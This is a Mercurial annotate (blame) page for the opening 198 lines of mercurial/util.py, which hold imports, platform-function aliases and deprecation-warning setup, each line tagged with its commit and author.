Mercurial > hg
annotate mercurial/util.py @ 43117:8ff1ecfadcd1
cleanup: join string literals that are already on one line
Thanks to Kyle for noticing this and for providing the regular
expression to run on the codebase.
This patch has been reviewed by the test suite and they approved of
it.
# skip-blame: fallout from mass reformatting
Differential Revision: https://phab.mercurial-scm.org/D7028
author | Martin von Zweigbergk <martinvonz@google.com> |
---|---|
date | Tue, 08 Oct 2019 15:06:18 -0700 |
parents | d783f945a701 |
children | 70d42e2ad9b4 5be128f669d4 |
rev | line source |
---|---|
17515 | 1 # util.py - Mercurial utility functions and platform specific implementations |
8226
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
2 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
6 # |
8b2cd04a6e97
put license and copyright info into comment blocks
Martin Geisler <mg@lazybytes.net>
parents:
8225
diff
changeset
|
7 # This software may be used and distributed according to the terms of the |
10263 | 8 # GNU General Public License version 2 or any later version. |
1082 | 9 |
17515 | 10 """Mercurial utility functions and platform specific implementations. |
1082 | 11 |
8227
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
12 This contains helper routines that are independent of the SCM core and |
0a9542703300
turn some comments back into module docstrings
Martin Geisler <mg@lazybytes.net>
parents:
8226
diff
changeset
|
13 hide platform-specific details from the core. |
1082 | 14 """ |
419
28511fc21073
[PATCH] file seperator handling for the other 'OS'
mpm@selenic.com
parents:
diff
changeset
|
15 |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
16 from __future__ import absolute_import, print_function |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
17 |
33793
bbbbd3c30bfc
util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents:
33737
diff
changeset
|
18 import abc |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
19 import collections |
33446
fad6852cf879
histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents:
33439
diff
changeset
|
20 import contextlib |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
21 import errno |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
22 import gc |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
23 import hashlib |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
24 import itertools |
34295
3bb2a9f25fe9
util: add an mmapread method
Mark Thomas <mbthomas@fb.com>
parents:
34139
diff
changeset
|
25 import mmap |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
26 import os |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
27 import platform as pyplatform |
21907
7e5dfa00e3c2
util: rename 're' to 'remod'
Siddharth Agarwal <sid0@fb.com>
parents:
21857
diff
changeset
|
28 import re as remod |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
29 import shutil |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
30 import socket |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
31 import stat |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
32 import sys |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
33 import time |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
34 import traceback |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
35 import warnings |
3769 | 36 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
37 from .thirdparty import attr |
43087
66f2cc210a29
py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43085
diff
changeset
|
38 from .pycompat import ( |
43090
1f339b503a40
py3: manually import pycompat.delattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43089
diff
changeset
|
39 delattr, |
43089
c59eb1560c44
py3: manually import getattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43087
diff
changeset
|
40 getattr, |
43087
66f2cc210a29
py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43085
diff
changeset
|
41 open, |
66f2cc210a29
py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43085
diff
changeset
|
42 setattr, |
66f2cc210a29
py3: manually import pycompat.setattr where it is needed
Gregory Szorc <gregory.szorc@gmail.com>
parents:
43085
diff
changeset
|
43 ) |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
44 from hgdemandimport import tracing |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
45 from . import ( |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
46 encoding, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
47 error, |
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
48 i18n, |
35582
72b91f905065
py3: use node.hex(h.digest()) instead of h.hexdigest()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35513
diff
changeset
|
49 node as nodemod, |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
50 policy, |
28818
6041fb8f2da8
pycompat: add empty and queue to handle py3 divergence
timeless <timeless@mozdev.org>
parents:
28497
diff
changeset
|
51 pycompat, |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
52 urllibcompat, |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
53 ) |
37083
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
54 from .utils import ( |
42041
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
55 compression, |
37118
5be286db5fb5
procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37117
diff
changeset
|
56 procutil, |
37083
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
57 stringutil, |
f99d64e8a4e4
stringutil: move generic string helpers to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37082
diff
changeset
|
58 ) |
3769 | 59 |
42766
e94c8f584ee2
py3: do not convert rust module/attribute names to bytes
Yuya Nishihara <yuya@tcha.org>
parents:
42641
diff
changeset
|
60 rustdirs = policy.importrust(r'dirstate', r'Dirs') |
42538
2db96bf84a8f
rust-dirstate: call new "dirs" rust implementation from Python
Raphaël Gomès <rgomes@octobus.net>
parents:
42343
diff
changeset
|
61 |
32368
008d37c4d783
base85: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32367
diff
changeset
|
62 base85 = policy.importmod(r'base85') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
63 osutil = policy.importmod(r'osutil') |
32372
df448de7cf3b
parsers: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32368
diff
changeset
|
64 parsers = policy.importmod(r'parsers') |
32367
a9c71d578a1c
osutil: switch to policy importer
Yuya Nishihara <yuya@tcha.org>
parents:
32306
diff
changeset
|
65 |
32201
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
66 b85decode = base85.b85decode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
67 b85encode = base85.b85encode |
4462a981e8df
base85: proxy through util module
Yuya Nishihara <yuya@tcha.org>
parents:
32154
diff
changeset
|
68 |
31934
12aca6770046
util: make cookielib module available
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31878
diff
changeset
|
69 cookielib = pycompat.cookielib |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
70 httplib = pycompat.httplib |
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
71 pickle = pycompat.pickle |
37099
6ca5f825a0ca
util: make safehasattr() a pycompat function
Yuya Nishihara <yuya@tcha.org>
parents:
37098
diff
changeset
|
72 safehasattr = pycompat.safehasattr |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
73 socketserver = pycompat.socketserver |
36958
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
74 bytesio = pycompat.bytesio |
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
75 # TODO deprecate stringio name, as it is a lie on Python 3. |
644a02f6b34f
util: prefer "bytesio" to "stringio"
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36946
diff
changeset
|
76 stringio = bytesio |
30471
00c9ac4ce816
util: rewrite pycompat imports to make pyflakes always happy
Yuya Nishihara <yuya@tcha.org>
parents:
30442
diff
changeset
|
77 xmlrpclib = pycompat.xmlrpclib |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
78 |
34467
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
79 httpserver = urllibcompat.httpserver |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
80 urlerr = urllibcompat.urlerr |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
81 urlreq = urllibcompat.urlreq |
192f7b126ed2
urllibcompat: move some adapters from pycompat to urllibcompat
Augie Fackler <augie@google.com>
parents:
34435
diff
changeset
|
82 |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
83 # workaround for win32mbcs |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
84 _filenamebytestr = pycompat.bytestr |
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
85 |
34645 | 86 if pycompat.iswindows: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
87 from . import windows as platform |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
88 else: |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
89 from . import posix as platform |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
90 |
27358
ac839ee45b6a
util: use absolute_import
Gregory Szorc <gregory.szorc@gmail.com>
parents:
27357
diff
changeset
|
91 _ = i18n._ |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
92 |
29530
3239e2fdd2e2
chgserver: extract utility to bind unix domain socket to long path
Yuya Nishihara <yuya@tcha.org>
parents:
29455
diff
changeset
|
93 bindunixsocket = platform.bindunixsocket |
14927
2aa3e07b2f07
posix, windows: introduce cachestat
Idan Kamara <idankk86@gmail.com>
parents:
14926
diff
changeset
|
94 cachestat = platform.cachestat |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
95 checkexec = platform.checkexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
96 checklink = platform.checklink |
15011
5e44e4b3a0a3
util: move copymode into posix.py and windows.py
Adrian Buehlmann <adrian@cadifra.com>
parents:
15010
diff
changeset
|
97 copymode = platform.copymode |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
98 expandglobs = platform.expandglobs |
35513
c4caf530b1c7
util: add a function to show the mount point of the filesystem
Matt Harbison <matt_harbison@yahoo.com>
parents:
35511
diff
changeset
|
99 getfsmountpoint = platform.getfsmountpoint |
35509
beede158ea8a
util: move getfstype() to the platform modules
Matt Harbison <matt_harbison@yahoo.com>
parents:
35460
diff
changeset
|
100 getfstype = platform.getfstype |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
101 groupmembers = platform.groupmembers |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
102 groupname = platform.groupname |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
103 isexec = platform.isexec |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
104 isowner = platform.isowner |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
105 listdir = osutil.listdir |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
106 localpath = platform.localpath |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
107 lookupreg = platform.lookupreg |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
108 makedir = platform.makedir |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
109 nlinks = platform.nlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
110 normpath = platform.normpath |
15488
6eff984d8e76
dirstate: fix case-folding identity for traditional Unix
Matt Mackall <mpm@selenic.com>
parents:
15392
diff
changeset
|
111 normcase = platform.normcase |
24605
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
112 normcasespec = platform.normcasespec |
98744856b7d3
util: add normcase spec and fallback
Siddharth Agarwal <sid0@fb.com>
parents:
24439
diff
changeset
|
113 normcasefallback = platform.normcasefallback |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
114 openhardlinks = platform.openhardlinks |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
115 oslink = platform.oslink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
116 parsepatchoutput = platform.parsepatchoutput |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
117 pconvert = platform.pconvert |
25420
c2ec81891502
util: add a simple poll utility
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
25406
diff
changeset
|
118 poll = platform.poll |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
119 posixfile = platform.posixfile |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
120 readlink = platform.readlink |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
121 rename = platform.rename |
24692
144883a8d0d4
util: add removedirs as platform depending function
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
24635
diff
changeset
|
122 removedirs = platform.removedirs |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
123 samedevice = platform.samedevice |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
124 samefile = platform.samefile |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
125 samestat = platform.samestat |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
126 setflags = platform.setflags |
17560
9ee25d7b1aed
util: implement a faster os.path.split for posix systems
Bryan O'Sullivan <bryano@fb.com>
parents:
17537
diff
changeset
|
127 split = platform.split |
18026
ddc0323db78b
osutil: write a C implementation of statfiles for unix
Bryan O'Sullivan <bryano@fb.com>
parents:
18013
diff
changeset
|
128 statfiles = getattr(osutil, 'statfiles', platform.statfiles) |
18868
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
129 statisexec = platform.statisexec |
cafa447a7d3b
util: add functions to check symlink/exec bits
Bryan O'Sullivan <bryano@fb.com>
parents:
18775
diff
changeset
|
130 statislink = platform.statislink |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
131 umask = platform.umask |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
132 unlink = platform.unlink |
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
133 username = platform.username |
14912
ec46a7da9f2c
util: move windows and posix wildcard imports to begin of file
Adrian Buehlmann <adrian@cadifra.com>
parents:
14911
diff
changeset
|
134 |
42041
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
135 # small compat layer |
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
136 compengines = compression.compengines |
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
137 SERVERROLE = compression.SERVERROLE |
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
138 CLIENTROLE = compression.CLIENTROLE |
3e47d1ec9da5
util: extract compression code in `mercurial.utils.compression`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
41834
diff
changeset
|
139 |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
140 try: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
141 recvfds = osutil.recvfds |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
142 except AttributeError: |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
143 pass |
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
144 |
6470
ac0bcd951c2c
python 2.6 compatibility: compatibility wrappers for hash functions
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
6339
diff
changeset
|
145 # Python compatibility |
3769 | 146 |
15656
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
147 _notset = object() |
4f5a78fa4917
util: clean up function ordering
Matt Mackall <mpm@selenic.com>
parents:
15611
diff
changeset
|
148 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
149 |
30745 | 150 def bitsfrom(container): |
151 bits = 0 | |
152 for bit in container: | |
153 bits |= bit | |
154 return bits | |
155 | |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
156 |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
157 # python 2.6 still have deprecation warning enabled by default. We do not want |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
158 # to display anything to standard user so detect if we are running test and |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
159 # only use python deprecation warning in this case. |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
160 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS')) |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
161 if _dowarn: |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
162 # explicitly unfilter our warning for python 2.7 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
163 # |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
164 # The option of setting PYTHONWARNINGS in the test runner was investigated. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
165 # However, module name set through PYTHONWARNINGS was exactly matched, so |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
166 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
167 # makes the whole PYTHONWARNINGS thing useless for our usecase. |
31952
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
168 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
169 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext') |
a34b5e7c6683
util: pass sysstrs to warnings.filterwarnings
Augie Fackler <augie@google.com>
parents:
31950
diff
changeset
|
170 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd') |
36588
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
171 if _dowarn and pycompat.ispy3: |
281f66777ff0
py3: silence "bad escape" warning emitted by re.sub()
Yuya Nishihara <yuya@tcha.org>
parents:
36585
diff
changeset
|
172 # silence warning emitted by passing user string to re.sub() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
173 warnings.filterwarnings( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
174 r'ignore', r'bad escape', DeprecationWarning, r'mercurial' |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
175 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
176 warnings.filterwarnings( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
177 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial' |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
178 ) |
37455
9ecb7c471cfb
py3: silence warning about deprecation of imp module
Yuya Nishihara <yuya@tcha.org>
parents:
37382
diff
changeset
|
179 # TODO: reinvent imp.is_frozen() |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
180 warnings.filterwarnings( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
181 r'ignore', |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
182 r'the imp module is deprecated', |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
183 DeprecationWarning, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
184 r'mercurial', |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
185 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
186 |
31950
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
187 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
188 def nouideprecwarn(msg, version, stacklevel=1): |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
189 """Issue an python native deprecation warning |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
190 |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
191 This is a noop outside of tests, use 'ui.deprecwarn' when possible. |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
192 """ |
cc70c6dbac30
util: add a way to issue deprecation warning without a UI object
Pierre-Yves David <pierre-yves.david@ens-lyon.org>
parents:
31946
diff
changeset
|
193 if _dowarn: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
194 msg += ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
195 b"\n(compatibility will be dropped after Mercurial-%s," |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
196 b" update your code.)" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
197 ) % version |
36128
02ed94dd9fd6
util: call warnings.warn() with a sysstr in nouideprecwarn
Augie Fackler <augie@google.com>
parents:
36038
diff
changeset
|
198 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1) |
